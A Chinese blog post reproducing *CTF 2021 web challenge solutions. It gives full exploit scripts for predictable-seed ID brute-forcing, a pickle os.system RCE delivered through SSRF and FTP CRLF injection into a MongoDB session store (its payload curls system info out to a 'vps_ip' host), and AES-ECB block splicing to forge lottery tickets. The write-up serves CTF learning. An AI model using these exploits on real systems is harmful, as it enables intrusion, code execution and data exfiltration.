*CTF2021复现

oh-my-note

网站的功能有登录用户发表note、查看公开note和note_id,然后就无了。

评论的输入框都没发现XSS和SSTI漏洞。只能将目光转向用户,user_id通过时间戳生成,生成代码如下:

1
2
3
timestamp = round(time.time(), 4)
random.seed(timestamp)
user_id = get_random_id()

note_id生成需要借助user_id:

1
2
3
4
timestamp = round(time.time(), 4)
post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id + post_at)
note_id = get_random_id()

此时seed的格式是user_id+2021-01-15 10:29 UTC

Trick:

  • 默认admin的第一条note就是创建用户时发的,那么他的时间戳和第一条note是一致的,只要遍历六十秒就能获得时间戳的整数(1610677740.0)形式。
  • 这里使用了round(time.time(), 4)使时间戳精确度到了四位小数,因此user_id的seed最高精度就是四位小数。
  • datetime.timezone.utc时区设置会让显示时间提早8小时,爆破时应该加上。

爆破获得user_id后通过/my_notes登录进admin用户获得flag。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*-coding-*-: utf-8
import time
import random
import string
import datetime

post_at = "2021-01-15 02:29 UTC"

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

users = [i / 10000 for i in range(0, 10000)]
for second in range(0, 60):
    dt = "2021-01-15 10:29:{} UTC".format(second) # datetime.timezone.utc有时差
    timeArray = time.strptime(dt, "%Y-%m-%d %H:%M:%S UTC") # 转换成时间数组
    timestamp = time.mktime(timeArray) # 转换成时间戳
    for user in users:
        # 获得user_id
        seed = timestamp + user
        random.seed(seed)
        user_id = get_random_id()
        # 获得note_id
        random.seed(user_id + post_at)
        if get_random_id() == "lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u":
            print(user_id) # 7bdeij4oiafjdypqyrl2znwk7w9lulgn
            exit()

oh-my-bet

[hint] Maybe you can try /readflag in web server, and no use to attack redis server.

Be careful that remote python version is 3.6.0

目录穿越读取/etc/passwd(一定要在注册时就抓包修改,否则读不到 or 写脚本post),读到

1
app:x:100:101:Linux User,,,:/home/app:/bin/false

知道目录,接着就可以读源码了,源码中使用了ftp协议接收内网文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def ftp_login(self):
    ftp = FTP()
    ftp.connect("172.20.0.2", 8877)
    ftp.login("fan", "root")
    return ftp

def callback(self,*args, **kwargs):
    data = json.loads(args[0].decode())
    self.data = data
    
def get_config(self):
    f = self.ftp_login()
    f.cwd("files")
    buf_size = 1024
    f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)

通过ftp://fan:root@172.20.0.2:8877/列举文件,然后ftp://fan:root@172.20.0.2:8877/files/config.json读取config.json和ftp-server.py

config.json

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "secret_key":"f4545478ee86$%^&&%$#",
  "DEBUG": false,
  "SESSION_TYPE": "mongodb",
  "REMOTE_MONGO_IP": "172.20.0.5",
  "REMOTE_MONGO_PORT": 27017,
  "SESSION_MONGODB_DB": "admin",
  "SESSION_MONGODB_COLLECT": "sessions",
  "SESSION_PERMANENT": true,
  "SESSION_USE_SIGNER": false,
  "SESSION_KEY_PREFIX": "session:",
  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
  "SQLALCHEMY_TRACK_MODIFICATIONS": true,
  "REDIS_URL": "redis://@172.20.0.4:6379/0"
}

题目提示不需要打redis,mongodb存session,mysql不知道干啥,思路就清晰了:修改session数据

查看一下flask_session中对mongodb存储session使用pickle序列化数据,所以接下来就是如何插入pickle数据的问题。

FTP主动模式

      客户端从一个任意的非特权端口N(N>1024)连接到FTP服务器的21端口。然后客户端开始监听N+1,并发送FTP命令“port N+1”到FTP服务器。接着服务器会从它自己的数据端口(20)连接到客户端指定的数据端口(N+1)。

      也就是说,服务端会主动连接客户端发送的数据端口。众所周知,ftp不仅可以用于文件下载,还可以用于文件上传,当服务端访问了指定的数据端口时我们就能通过ftp上传恶意文件(mongodb数据包)。

那么如何构造呢?

Frank师傅给了四种方法:

  1. 分析mongodb数据包,并手动构造
  2. 文档,手动构造
  3. 抓包重放(出题人)
  4. 他的办法 -- 改pymongo源码

作为复现人,当然要选择最简单的方法(脚本搬运工)ε=ε=ε=

修改site-packages/pymongo/network.py:142,在sendall之前丢个异常

1
2
3
4
5
6
7
8
'''添加内容
if b"session:" in msg:
    e = Exception()
    e.message = msg
    raise e
'''
try:
    ...

本地起个mongodb,跑一下下面的脚本获得数据包:

mongo.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*-author-*-: frankli
from pymongo import MongoClient
import pickle
import os

def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))
    return pickle.dumps(exp())

def get_mongo(cmd):
    client = MongoClient('localhost', 27017)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {'id':'session:37386ce1-3fe8-4f1d-91fc-224581c5279f'},
            {"$set": { "val": get_pickle(cmd) }},
            upsert=True
        )
    except Exception as e:
        return e.message

if __name__ == '__main__':
    print(get_mongo('ls'))

终极版exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*-author-*-: frankli
from base64 import b64decode
import requests
import socket
import string
import random
import threading

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

def get_port_cmd(host):
    host, port = host.split(':')
    port = int(port)
    return 'PORT ' + ','.join(host.split('.') + [str(port // 256), str(port - port // 256 * 256)])

a = 'http://52.163.52.206:8088'
a = 'http://23.98.68.11:8088'

ftpd = '172.20.0.2:8877'
redis = '172.20.0.4:6379'
mongo = '172.20.0.5:27017'

bind = 'vps_ip:2334'
targ = mongo

from mongo import get_mongo
request = get_mongo('curl vps_ip:1234/ -H "Host: `ip a|base64`"')

def ssrf(url):
    page = requests.post(a + '/login', data={
        'username': get_random_id(),
        'password': get_random_id(),
        'avatar': url,
        'submit': 'Go!'
    }).text
    page = page[page.find('data:image/png;base64,') +
                len('data:image/png;base64,'):]
    page = page[:page.find('"')]
    try:
        page = b64decode(page).decode()
    except:
        page = b64decode(page)
    return page

def inject(cmd):
    cmd = '\r\n'.join(cmd)
    return ssrf(f'''ftp://fan:root{cmd}@{ftpd}/''')

def sendfile(file):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', int(bind.split(':')[1])))
    sock.listen(1)
    (client, address) = sock.accept()
    print('accepted', address)
    client.send(file)
    print('sent')
    client.close()

thread = threading.Thread(target=sendfile, args=(request,))
thread.start()

print(ssrf(f'ftp://fan:root@{ftpd}/'))

inject(['TYPE I', get_port_cmd(bind), 'STOR frankli'])
thread.join()
print('uploaded')
print(ssrf(f'ftp://fan:root@{ftpd}/'))
print('replaying')
inject(['TYPE I', get_port_cmd(targ), 'RETR frankli'])
print('replayed')
print(requests.get(a, cookies={'session': '1eb74496-98b9-4acc-94fb-75ba15ddb803'}).headers)
print('requested')
inject(['RNFR frankli', 'RNTO trash'])
print(ssrf(f'ftp://fan:root@{ftpd}/'))

lottery again

注册登录,有抽奖和买flag两个功能。

看源码,处理抽奖部分的代码(LotteryController.php):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
class LotteryController extends BaseController
{
    protected $price = 100;

    public function buy(Request $request)
    {
        ...

        $lottery = Lottery::create(['coin' => 100 - floor(sqrt(random_int(1, 10000)))]);
        $serilized = json_encode([
            'lottery' => $lottery->uuid,
            'user' => $user->uuid,
            'coin' => $lottery->coin,
        ]);
        $enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));
        return [
            'enc' => $enc,
            // 'serialized' => $serilized,
        ];
    }

    public function charge(Request $request)
    {
        $info = $this->decrypt($request->input('enc'));
        ...

        $cnt = Lottery::where('id', $lottery->id)->where('used', false)
            ->update(['used' => 1]);
        if ($cnt === 0) {
            throw new Exception('unknown error');
        }

        $user->coin += $lottery->coin;
        $user->save();

        return [
            // 'user' => $user,
            // 'lottery' => $lottery,
        ];
    }

    private function decrypt($enc)
    {
        $serilized = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), base64_decode($enc), MCRYPT_MODE_ECB));
        $info = json_decode($serilized);
        if (empty($info)) {
            throw new Exception('invalid lottery');
        }
        return $info;
    }
}

可以看到抽奖人信息被保存在$serilized变量中,然后加密,加密方法是MCRYPT_RIJNDAEL_256加密,是以256位为一个块,即32字节。

加密流程(例):

{"lottery":"48e51545-cfd3-4d2e-8ea4-851c945b5faf","user":"0123ff93-c230-49b9-b078-5d205247c5a8","coin":81}

按照32字节的分组后结构如下

{"lottery":"48e51545-cfd3-4d2e-8
ea4-851c945b5faf","user":"0123ff
93-c230-49b9-b078-5d205247c5a8",
"coin":81}AAAAAAAAAAAAAAAAAAAAAA(不足位填充)

然后每块进行独立的加密,最后组合成密文。

可以看到,不管替换哪一块都不能完整的修改字段,但若要完整的插入一段user且不破坏原lottery,只能保留原1,2,4块(1,2块也行),然后插入主user的2,3块(2,3,4块)。

插入问题解决了,但是为什么插入之后就能实现攻击了呢?

这就涉及到json_encode函数的特性:键相同时后面的值会覆盖前面值

例:

1
2
3
4
5
6
<?php
$serilized = json_encode([
    'user' => "22",
    'user' => "33",
]);
echo $serilized; // {"user":"33"}

攻击原理清楚了,剩下的就是脚本实现(搬运)了。

exp(出现断连就把api_token拿出来继续用)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*-author-*-: frankli
from requests import session
from base64 import b64encode, b64decode
import string
import random

ses = session()

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

def get_user():
    usernm, passwd = get_random_id(), get_random_id()
    ses.post('http://52.149.144.45:8080/user/register', data={
        'username': usernm, 'password': passwd,
    }).json()['user']
    user = ses.post('http://52.149.144.45:8080/user/login', data={
        'username': usernm, 'password': passwd,
    }).json()['user']
    return user

flag_user = get_user()
print(flag_user)
price = ses.post('http://52.149.144.45:8080/lottery/buy', data={
    'api_token': flag_user['api_token']
}).json()['enc']

amount = 0
while amount < 9999:
    fake_user = get_user()
    for _ in range(3):
        sheep = ses.post('http://52.149.144.45:8080/lottery/buy', data={
            'api_token': fake_user['api_token']
        }).json()['enc']
        treasure = b64decode(sheep)[:64] + \
            b64decode(price)[32:96] + \
            b64decode(sheep)[96:]
        treasure = b64encode(treasure).decode()
        coin = ses.post('http://52.149.144.45:8080/lottery/info', data={
            'enc': treasure
        }).json()['info']['coin']
        amount += coin
        ses.post('http://52.149.144.45:8080/lottery/charge', data={
            'user': flag_user['uuid'],
            'coin': coin,
            'enc': treasure
        })
        print(amount)

result = ses.post('http://52.149.144.45:8080/flag', data={
    'api_token': flag_user['api_token']
}).text
print(result)

oh-my-socket

Servers reboot every 2 minutes. All source codes and Docker files provided in the attachment. Try to solve it locally before interacting with the servers.

反正有源码,什么时候复现都行。

天大地大,划水最大(逃

参考

*CTF 2021 Web部分 Writeup

*CTF 2021 WriteUp By 星盟ctf战队